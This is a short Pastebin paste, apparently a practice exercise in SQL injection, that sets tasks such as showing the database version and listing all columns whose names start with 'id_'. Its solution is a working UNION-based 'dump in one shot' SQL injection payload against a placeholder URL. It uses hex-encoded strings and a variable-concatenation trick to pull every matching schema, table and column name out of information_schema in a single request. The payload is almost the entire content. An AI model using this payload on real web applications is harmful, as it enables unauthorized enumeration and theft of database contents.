Saint92

Playing with Dios 1

Feb 24th, 2016
401
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.92 KB | None | 0 0
  1. task & rules
  2. ¤display version with your name
  3. ¤display count how many column names start with characters id_
  4. ¤display list of columns (with their database and table name) where column names start with characters id_
  5.  
  6. solution .......
  7.  
  8. http:p//vuln.net/produit.ph p?id=55 and 0 UNION%0aSELECT 1,2,3,concat(0x3c2f7469746c653e,version(),0x203a3a20616a6b61726f,0x3c42523e,0x6e756d626572206f6620636f6c756d6e73207374617274696e6720776974682069645f2069733a20,count(*),(select(@x)from(select(@x:=0x00),(select(0)from(information_schema.columns)where(table_schema!=0x696e666f726d6174696f6e5f736368656d61)and((column_name)like(0x69645f25))and(0x00)in(@x:=concat(@x,0x3c62723e,table_schema,0x2d2d3e,table_name,0x2d2d3e,column_name))))x),0x3c7469746c653e),5,6,7,8,9,10,11,12,13,14,15,16,17,18, 19,20,21,22,23 from(information_schema.columns)where(table_schema!=0x696e666f726d6174696f6e5f73 6368656d61)and(column_name)like(0x69645f25)--
  9.  
  10.  
  11. #Ajkaro
Advertisement
Add Comment
Please, Sign In to add comment